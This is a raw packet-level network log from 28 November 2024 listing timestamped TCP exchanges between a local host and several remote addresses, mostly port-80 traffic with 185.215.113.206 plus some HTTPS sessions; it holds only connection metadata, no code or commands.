Nov 28, 2024 15:17:43.007491112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.007503033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.007555008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.008291960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.008354902 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.008495092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.008507013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.008543015 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.009288073 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.009377956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.009654999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.010042906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.010236025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.010248899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.010288000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.011140108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.011207104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.011497021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.011548042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.012074947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.012087107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.012140036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.012166023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.013076067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.013139963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.013253927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.013303041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.013911009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.014624119 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.014698982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.014841080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.014854908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.014910936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.015759945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.016210079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.016283989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.016699076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.016710997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.016748905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.016781092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.017554045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.017625093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.017734051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.017780066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.018507957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.018570900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.018693924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.018871069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.019418955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.019433022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.019496918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.020284891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.020344973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.020709991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.020762920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.021250010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.021260977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.021307945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.022147894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.022207975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.022353888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.022491932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.023217916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.023230076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.023433924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.023957014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.024002075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.024038076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.024251938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.024844885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.024900913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.024907112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.025110006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.025772095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.026279926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.026350975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.026544094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.026679993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.026734114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.026797056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.026873112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.027600050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.027662039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.027713060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.028296947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.028522968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.028542042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.028573036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.028585911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.029424906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.029483080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.029530048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.029582977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.030875921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.030894041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.030945063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.030967951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.031219959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.031471968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.031512976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.032349110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.032408953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.032780886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.032831907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.033065081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.033467054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.033507109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.034017086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.034265995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.034321070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.034933090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.034990072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.035023928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.035111904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.035825968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.035885096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.035902977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.036566973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.036760092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.036803961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.036808014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.036859989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.037658930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.037813902 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.037842989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.037880898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.038574934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.038645983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.038652897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.038717985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.039540052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.039591074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.042331934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.042414904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.043243885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.043335915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.096162081 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.100558043 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.100635052 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.104870081 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.105937958 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.105971098 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.107244968 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.107332945 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.108613968 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.108705997 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.108896017 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.108911991 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.109296083 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.109839916 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.109860897 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.114149094 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.114248037 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.114622116 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.114711046 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.114748001 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.149971008 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.155373096 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.193667889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.193730116 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.193784952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.193850040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.194130898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.194366932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.195084095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.195095062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.195127010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.195149899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.195182085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.195982933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.196110964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.196350098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.196392059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.197036028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.197055101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.197105885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.197757006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.197810888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.198513985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.198589087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.198684931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.198920965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.199642897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.199655056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.199666977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.199691057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.199706078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.200531006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.200634956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.200745106 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.200800896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.201467037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.201509953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.202019930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.202065945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.202538967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.202584982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.203332901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.203344107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.203356028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.203378916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.203403950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.204235077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.204298019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.205111980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.205123901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.205137014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.205151081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.205172062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.206012011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.206057072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.206181049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.206224918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.206929922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.207072020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.207874060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.207886934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.207899094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.207959890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.207997084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.208751917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.208800077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.209728956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.209739923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.209753036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.209780931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.209801912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.217621088 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.217643976 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.286521912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.309129000 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.309350014 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.309361935 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.309756994 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.310489893 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.310568094 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.311574936 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.311574936 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.311604977 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.338119984 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.347515106 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.347604990 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.347686052 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.402390957 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.402420998 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.404490948 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.404519081 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.406725883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.414992094 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.458744049 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.482789040 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.482822895 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.482928991 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.482939959 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.504844904 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.505465031 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.505491018 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.506072998 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.506078959 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.506397009 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.506413937 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.530988932 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:43.531359911 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:43.531384945 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:43.532788038 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:43.532866001 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:43.534279108 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:43.534347057 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:43.534759998 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:43.534768105 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:43.538975954 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.542726994 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.542769909 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.554694891 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.555124998 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.555141926 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.555692911 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.555699110 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.555753946 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.555762053 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.566111088 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.571434975 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.574306965 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.574322939 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.577701092 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.577701092 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.577709913 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.577721119 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.579612017 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.580492973 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.581010103 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.581034899 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.582104921 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.582112074 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.582148075 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.582155943 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.584291935 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.584331989 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.584908962 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.584916115 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.584944963 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.584952116 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.586337090 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.586349010 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.587003946 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.587008953 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.587043047 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:43.587049007 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:43.588430882 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.588453054 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.588459969 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.588483095 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.588509083 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.588522911 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.588556051 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.588574886 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.588574886 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.588598013 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.605881929 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.605920076 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.605931997 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.605942965 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.605961084 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.605973959 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.605973005 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.605995893 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.606014013 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.606045961 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.617202044 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:43.740173101 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.741643906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.741746902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.741806984 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.742119074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.742130995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.742176056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.742697954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.742743969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.742818117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.743657112 CET	80	49804	185.215.113.206	192.168.2.6
